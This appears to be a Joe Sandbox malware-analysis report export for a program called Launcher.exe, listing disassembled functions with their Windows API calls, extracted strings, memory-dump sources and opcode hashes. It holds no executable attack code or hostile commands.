Function 0012D190 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0012D22C,?,?,00000000,?,?,?,0012D0EA,00000002,FlsGetValue,001381E4,001381EC), ref: 0012D19D
GetLastError.KERNEL32(?,0012D22C,?,?,00000000,?,?,?,0012D0EA,00000002,FlsGetValue,001381E4,001381EC,?,?,001210A8), ref: 0012D1A7
LoadLibraryExW.KERNEL32(?,00000000,00000000,000000FF,?,001090A5), ref: 0012D1CF

Strings

api-ms-, xrefs: 0012D1B4

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: dd1b4d4d33e4a8a15e6094082909efa4d91970b3e3f42f072198402e2dddcd19
Instruction ID: ee18e3048389d9bde0373dd42bc97ec96eb1050d32d6a1c4a92a67638fb137a6
Opcode Fuzzy Hash: dd1b4d4d33e4a8a15e6094082909efa4d91970b3e3f42f072198402e2dddcd19
Instruction Fuzzy Hash: 3EE04F34280209BBEB212B61FC06B693FA9AF11B44F144420FF0EA88F1D762D8B0C554

Function 0012A25E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(580AF776,00000000,00000000,?), ref: 0012A2C1

Part of subcall function 001223C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00123B95,?,00000000,-00000008), ref: 00122422

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0012A513
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0012A559
GetLastError.KERNEL32 ref: 0012A5FC

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: a2ba4ee2242f75b98068a0ebe967125662b2138cba390bb115e6d5b175d1bf0f
Instruction ID: fdf14d2e3dddaba49ba91bafc75e50c5b4b27996db61ed8115b6698b18a6d010
Opcode Fuzzy Hash: a2ba4ee2242f75b98068a0ebe967125662b2138cba390bb115e6d5b175d1bf0f
Instruction Fuzzy Hash: D5D19AB5D002689FCF15CFA8D8849EDBBB4FF09314F68416AE416EB351D730A991CB51

Function 00121635 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001216FC
___AdjustPointer.LIBCMT ref: 0012171F
___AdjustPointer.LIBCMT ref: 001217BB

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a1378438f99483dc32779370f730bf3bc4ebf5fdc3049bbc1347ef31869a5f90
Instruction ID: 5c00158fa209df03e8498e4a894e37fe237e43162dfcac82ef74e5fddaae70f5
Opcode Fuzzy Hash: a1378438f99483dc32779370f730bf3bc4ebf5fdc3049bbc1347ef31869a5f90
Instruction Fuzzy Hash: 0A51F272600666BFDB29CF11E941BBA77B5EFA0300F14452DEC42472A0E731ECA0CB90

Function 00128086 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 001223C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00123B95,?,00000000,-00000008), ref: 00122422

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 001280EA
__dosmaperr.LIBCMT ref: 001280F1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0012812B
__dosmaperr.LIBCMT ref: 00128132

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c6a94dc7efde93db9c89bd87485a2034e5e1704f1ffa472b24a8a62eb8b55f88
Instruction ID: f4f957b047b58182d77fd37dd9fe19acc4c3b76998da297105cbe4c34d5367c1
Opcode Fuzzy Hash: c6a94dc7efde93db9c89bd87485a2034e5e1704f1ffa472b24a8a62eb8b55f88
Instruction Fuzzy Hash: 52210831601629AFDB24AF66EC81C6FB7ACFF203647118529F81997291DF31EC7187A0

Function 001195B2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524b1825ea01297b91910a6eb9f81d0affadb0a27135d5e8d36e9bd7079b7c24
Instruction ID: 6d54a7834d8d712672e87d741777ffb4f11abe3414cf4925e69e98ac66285808
Opcode Fuzzy Hash: 524b1825ea01297b91910a6eb9f81d0affadb0a27135d5e8d36e9bd7079b7c24
Instruction Fuzzy Hash: F021AE31200615AF9B2CAF65DCA09EB77ADBF203647114535F82A97650EB31ECD0C7B0

Function 0012947E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00129486

Part of subcall function 001223C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00123B95,?,00000000,-00000008), ref: 00122422

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001294BE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001294DE

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 9aea708ba2c56f309be12deb9c4662e0ca43d22ff320d55862cef15a74c170a9
Instruction ID: cc92b0a027bd42c84f7eca28af8f9b20aacec3d5dfdd61d109563f54451a8670
Opcode Fuzzy Hash: 9aea708ba2c56f309be12deb9c4662e0ca43d22ff320d55862cef15a74c170a9
Instruction Fuzzy Hash: BF11D6F5605635BFAB1627BABC89CBF7D5CDEA9395B100025F801D2111FB34DE6142B0

Function 001327D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000), ref: 001327E7
GetLastError.KERNEL32(?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000,?,?,?,00129F96,?), ref: 001327F3

Part of subcall function 00132850: CloseHandle.KERNEL32(FFFFFFFE,00132803,?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000,?,?), ref: 00132860

___initconout.LIBCMT ref: 00132803

Part of subcall function 00132825: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001327C1,001314AC,?,?,0012A650,?,00000000,00000000,?), ref: 00132838

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000,?), ref: 00132818

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5733ea8d244d75159f9e503fce3a46056bf697137c728dab604140efbde9c514
Instruction ID: 2249a02cb6804b6a5c3bf459ecb64ee20521d34bc79e3e137409444017a481d0
Opcode Fuzzy Hash: 5733ea8d244d75159f9e503fce3a46056bf697137c728dab604140efbde9c514
Instruction Fuzzy Hash: 52F0393A401219BBCF233F91DC0899A3FA6FF5E3A0F054054FA0886530C73289A0EBE1

Function 00116EF5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00116F07
GetCurrentThreadId.KERNEL32 ref: 00116F16
GetCurrentProcessId.KERNEL32 ref: 00116F1F
QueryPerformanceCounter.KERNEL32(?), ref: 00116F2C

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c54fa28feee5577ff27f113b6b9061760782494b2e394f33794a15bdca80c968
Instruction ID: 4c04c35d1deb8d9b291efaae8fffb1a4fe5b7ea22962bc5a9ec7cb23dcf8af06
Opcode Fuzzy Hash: c54fa28feee5577ff27f113b6b9061760782494b2e394f33794a15bdca80c968
Instruction Fuzzy Hash: 2FF06278D1020DEBCB01DBB4DA499DEBBF4FF1D200B918996A412E7520E730AB849B50

Function 00126C36 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0011C3A9,?,?,?,00000055,?,-00000050,?,?,?), ref: 00126CF5
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0011C3A9,?,?,?,00000055,?,-00000050,?,?), ref: 00126D2C

Strings

utf8, xrefs: 00126DFE

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 3bc40570469dfba675e698a4a963915e3c5acb6270aa75c948e1731363c87998
Instruction ID: 995d4bca6d08dc81ba718d3f69bde6c6abe32927589ac4d669ae0fe495517f58
Opcode Fuzzy Hash: 3bc40570469dfba675e698a4a963915e3c5acb6270aa75c948e1731363c87998
Instruction Fuzzy Hash: 6B51D575600635AADB25BB70FC42BBB73A9EF28700F160429F9459B1C1F770EDB086A1

Function 0012BB8D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0012BC1D

Strings

pow, xrefs: 0012BBF5, 0012BC12

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 537e1ec902320ab07d2fc57ec3d8fa470d2f3435b82ed51674a858359cf4ab2f
Instruction ID: 914f3223e114509d053082c20e259780e551917e4f5645818f1bb22487fb636b
Opcode Fuzzy Hash: 537e1ec902320ab07d2fc57ec3d8fa470d2f3435b82ed51674a858359cf4ab2f
Instruction Fuzzy Hash: 0C517B61A0C2199ACB197714FD8137E3BA0DB50750F348D68F19A422A9EF358CF1ABC6

Function 00121D32 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00121C33,?,?,00000000,00000000,00000000,?), ref: 00121D57

Strings

RCC, xrefs: 00121D71
MOC, xrefs: 00121D69

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 6ff61684ac4882f66b886dcab0d81dadb7327f15908f8d67c43f466435515dbf
Instruction ID: ae9a11d7abbc660b31d3be9ab9a2bf68a779d03d9f2b522e9841793fe4aebe46
Opcode Fuzzy Hash: 6ff61684ac4882f66b886dcab0d81dadb7327f15908f8d67c43f466435515dbf
Instruction Fuzzy Hash: 4A415732900219FFCF16DF94EC81AEEBBB6FF58300F158169F914A6221D335A9A0DB50

Function 0012159E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00121815

Strings

csm, xrefs: 00121837
csm, xrefs: 001218A8

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ce3a40eee6e0a5d4c6a4e51354852dffa80a663e838a0df983fc68f2f82f6d99
Instruction ID: 6c3354667f60f4b569ade4ecffc65dcbe89aa16ebfd158be6526dc408b110ca3
Opcode Fuzzy Hash: ce3a40eee6e0a5d4c6a4e51354852dffa80a663e838a0df983fc68f2f82f6d99
Instruction Fuzzy Hash: B931B436800239FBCF26DF90EC9096A7B66FF29719B19455AF85449121C332CCB1DB91

Function 00113961 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001139E9
RaiseException.KERNEL32(?,?,?,?), ref: 00113A0E

Part of subcall function 0011701C: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,?,?,?,0010305D), ref: 0011707D

Part of subcall function 0011EB23: IsProcessorFeaturePresent.KERNEL32(00000017,0011A15B,?,?,?,?,00000000,?,?,0011E5BE,00000000,00000000,00000000,00000000,00000000), ref: 0011EB3F

Strings

csm, xrefs: 0011399D

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 9486abe04d7a04e86416c7f5a808288635b8de8263b9a163083b88ff2293d50f
Instruction ID: 23498bbefd2398de121d74a709aeb7b349b58b57d8a5ce935697dd9159be691d
Opcode Fuzzy Hash: 9486abe04d7a04e86416c7f5a808288635b8de8263b9a163083b88ff2293d50f
Instruction Fuzzy Hash: E8215C31D00218DBCF28DF94E845AEEB7B5FF14710F144429E4A6AB295DB70AE85CB81

Analysis Process: Launcher.exePID: 7044, Parent PID: 6048COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	6.3%
Signature Coverage:	43.1%
Total number of Nodes:	253
Total number of Limit Nodes:	21

Executed Functions

Function 00411B90 Relevance: 175.5, APIs: 3, Strings: 96, Instructions: 2214COMMON

Download Yara Rule

Strings

?, xrefs: 0041263F
\, xrefs: 00413359
+, xrefs: 00412257
N, xrefs: 004135B5
C, xrefs: 0041367D
x, xrefs: 004136A5
H, xrefs: 004133B9
I, xrefs: 0041362D
R, xrefs: 004132E9
;, xrefs: 004123A5
A, xrefs: 0041366D
S, xrefs: 00413545
_, xrefs: 0041369D
[, xrefs: 004136BD
[, xrefs: 00412765
P, xrefs: 004132F9
N, xrefs: 004133C9
k, xrefs: 00412AC4
D, xrefs: 00413399
x, xrefs: 004123AA
{, xrefs: 00413331
v, xrefs: 00412E99
#, xrefs: 00411EF8
Z, xrefs: 00413535
@, xrefs: 00413379
\, xrefs: 00411BF3
s, xrefs: 004133F1
a, xrefs: 00412AD4
9, xrefs: 0041260F
D, xrefs: 004137BC
%, xrefs: 0041266F
), xrefs: 00413555
E, xrefs: 004132C1
Y, xrefs: 004136AD
', xrefs: 0041267F
p, xrefs: 004133F9
@, xrefs: 004132A1
<, xrefs: 004129A7
$, xrefs: 00413251
O, xrefs: 00413291
T, xrefs: 00413319
g, xrefs: 00412AE4
F, xrefs: 00413389
X, xrefs: 00413339
`, xrefs: 00412C87
O, xrefs: 00413585
M, xrefs: 0041360D
X, xrefs: 00413261
E, xrefs: 004135A5
f, xrefs: 004133B1
}, xrefs: 004129D7
@, xrefs: 004135C5
l, xrefs: 004127EB
N, xrefs: 00412126
@, xrefs: 00412059
y, xrefs: 004129B7
#, xrefs: 0041265F
:, xrefs: 004123A0
r, xrefs: 004133E9
Z, xrefs: 00413329
E, xrefs: 0041364D
+, xrefs: 00413231
J, xrefs: 004133A9
o, xrefs: 004133D1
], xrefs: 0041368D
B, xrefs: 00413369
h, xrefs: 00411E2E
;, xrefs: 00412774
Z, xrefs: 004136B5
^, xrefs: 00413349
y, xrefs: 0041276A
!, xrefs: 0041264F
j, xrefs: 00413635
:, xrefs: 004131D7
F, xrefs: 00413595
G, xrefs: 0041365D
], xrefs: 00413565
K, xrefs: 0041363D
;, xrefs: 0041261F
O, xrefs: 004135F5
&, xrefs: 00412677
D, xrefs: 00413B9A
6, xrefs: 00413281
+, xrefs: 00412AB4
V, xrefs: 00413309
L, xrefs: 004133D9
*, xrefs: 00413241
e, xrefs: 004133A1
=, xrefs: 0041262F
5, xrefs: 00413271
k, xrefs: 004133E1
O, xrefs: 0041361D
#, xrefs: 00411D36
P, xrefs: 00413575
G, xrefs: 004132B1
z, xrefs: 0041276F

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: !$#$#$#$$$%$&$'$)$*$+$+$+$5$6$9$:$:$;$;$;$<$=$?$@$@$@$@$A$B$C$D$D$D$E$E$E$F$F$G$G$H$I$J$K$L$M$N$N$N$O$O$O$O$P$P$R$S$T$V$X$X$Y$Z$Z$Z$[$[$\$\$]$]$^$_$`$a$e$f$g$h$j$k$k$l$o$p$r$s$v$x$x$y$y$z${$}
API String ID: 0-3922977026
Opcode ID: f596b0c90802d0533739adb08056f79c7648f63a4f22fdea9e5df21ecc792f88
Instruction ID: 9e4f82df60f56729b73927d0d0d390d32f78e9d4d87be880e20303a3ec248802
Opcode Fuzzy Hash: f596b0c90802d0533739adb08056f79c7648f63a4f22fdea9e5df21ecc792f88
Instruction Fuzzy Hash: 0513017250C7C08AD3348B38C9453DFBBD16BD6324F188A6EE5E9873D2D6B889858747

Function 004388E0 Relevance: 25.3, APIs: 11, Strings: 3, Instructions: 787
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443698,00000000,00000001,00443688,00000000), ref: 00438B00
SysAllocString.OLEAUT32(FFA1FDAE), ref: 00438B86
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438BC8
SysAllocString.OLEAUT32(924C9C34), ref: 00438C32
SysAllocString.OLEAUT32(C18DC795), ref: 00438CF7
VariantInit.OLEAUT32(3D3C43BA), ref: 00438D6D

Strings

xyz{, xrefs: 0043914E
\, xrefs: 00438AB4
k_XY, xrefs: 00438956

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: \$k_XY$xyz{
API String ID: 65563702-3857921785
Opcode ID: b2a0093923e513f3af020edebb0b97067b741a41e9fe3eab5bc36a44a64d33e0
Instruction ID: 590db127faf05e43ba9caf9e0a509842f4f3f730dc332b30c700a0f5b632478d
Opcode Fuzzy Hash: b2a0093923e513f3af020edebb0b97067b741a41e9fe3eab5bc36a44a64d33e0
Instruction Fuzzy Hash: 9A421172A083008BD714CF28C88175BBBE2EFC9714F198A2DF5959B391DB78D906CB56

Function 00423450 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 004234E6
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0042356F

Strings

Hi+k, xrefs: 004239BB
{y, xrefs: 004238B3
